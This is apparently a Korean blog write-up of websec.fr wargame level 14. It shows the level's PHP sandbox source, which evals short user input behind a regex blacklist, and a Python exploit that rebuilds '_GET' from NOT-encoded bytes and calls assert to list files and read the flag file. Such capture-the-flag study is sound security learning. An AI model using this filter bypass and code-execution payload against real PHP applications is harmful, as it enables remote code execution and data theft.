source.php
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL ^ E_DEPRECATED);
if (isset ($_POST['code']) && is_string ($_POST['code'])) {
$code = substr ($_POST['code'], 0, 25);
} else {
$code = "print('I hate PHP');";
}
?>
<!DOCTYPE html>
<html>
<head>
<title>#WebSec Level14</title>
<link rel="stylesheet" href="../static/bootstrap.min.css" />
<link rel="stylesheet" href="../static/websec.css" />
</head>
<!-- Thanks to an anonymous contributor for this level. -->
<body>
<div id="main">
<div class="container">
<div class="row">
<h1>Level Fourteen <small>- Securely Execute Code</small></h1>
</div>
<div class="row">
<p class="lead">
Don't you love these online PHP executing services like <a href="https://3v4l.org">3v4l.org</a>?<br>
Unfortunately they're insecure as hell, so we made <a href="source.php">our own</a>
where we only allow <mark>echo</mark>, <mark>print</mark>, <mark>strlen</mark>, <mark>strcmp</mark>, <mark>strncmp</mark>.<br>
Oh and you're limited to <code>25</code> chars only. Try it out!
</p>
<!-- If I had to guess, I would say that the $flag is in sha1($flag). -->
</div>
</div>
<div class="container">
<div class="row">
<form method="post" class="form-inline">
<div class="form-group">
<label for="code">Code:</label>
<input type="text" class="form-control" id="code" name="code" value="<?php echo htmlspecialchars ($code);?>" required maxlength=25>
</div>
<button type="submit" class="btn btn-default">Execute!</button>
</form>
</div>
<div class="row">
<br>
<pre>
<?php
$funcs_internal = get_defined_functions()['internal'];
/* lets allow some secure funcs here */
unset ($funcs_internal[array_search('strlen', $funcs_internal)]);
unset ($funcs_internal[array_search('print', $funcs_internal)]);
unset ($funcs_internal[array_search('strcmp', $funcs_internal)]);
unset ($funcs_internal[array_search('strncmp', $funcs_internal)]);
$funcs_extra = array ('eval', 'include', 'require', 'function');
$funny_chars = array ('\.', '\+', '-', '\*', '"', '`', '\[', '\]');
$variables = array ('_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_FILES', '_ENV', 'HTTP_ENV_VARS', '_SESSION', 'GLOBALS');
$blacklist = array_merge($funcs_internal, $funcs_extra, $funny_chars, $variables);
$insecure = false;
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
$insecure = true;
break;
}
}
if ($insecure) {
echo 'Insecure code detected!';
} else {
eval ($code);
}
?>
</pre>
</div>
</div>
</div>
</body>
</html>
php sandbox류인데 필터길이가 25자로 상당히 짧다. 이것저것해봤는데 ${_GET}{0}(${_GET}{0}); 요게 길이가 딱 맞아서 이거사용해줬다. _GET부분분 not 연산시켜주면 되고 이걸로 assert써서 플래그 파일명 따서 코드 읽어주면 된다.
exploit.py
import requests
def exploit(payload,func,param):
url = "https://websec.fr/level14/index.php?0="+func+"&1="+param
data = {"code":payload}
result = requests.post(url,data=data).text
print result
payload = "${~\xA0\xB8\xBA\xAB}{0}(${~\xA0\xB8\xBA\xAB}{1});"
func = "assert"
param = "var_dump(scandir('.'))"
exploit(payload,func,param)
param = "var_dump(file_get_contents('0e7efcd6e821f4bb90af4e4c439001944c1769da.php'))"
exploit(payload,func,param)
'Wargame > websec.fr' 카테고리의 다른 글
websec.fr hard level 07 (0) | 2019.08.23 |
---|---|
websec.fr medium level 31 (0) | 2019.08.23 |
websec.fr medium level 18 (0) | 2019.08.23 |
websec.fr medium level 09 (0) | 2019.08.23 |
websec.fr medium level 05 (0) | 2019.08.23 |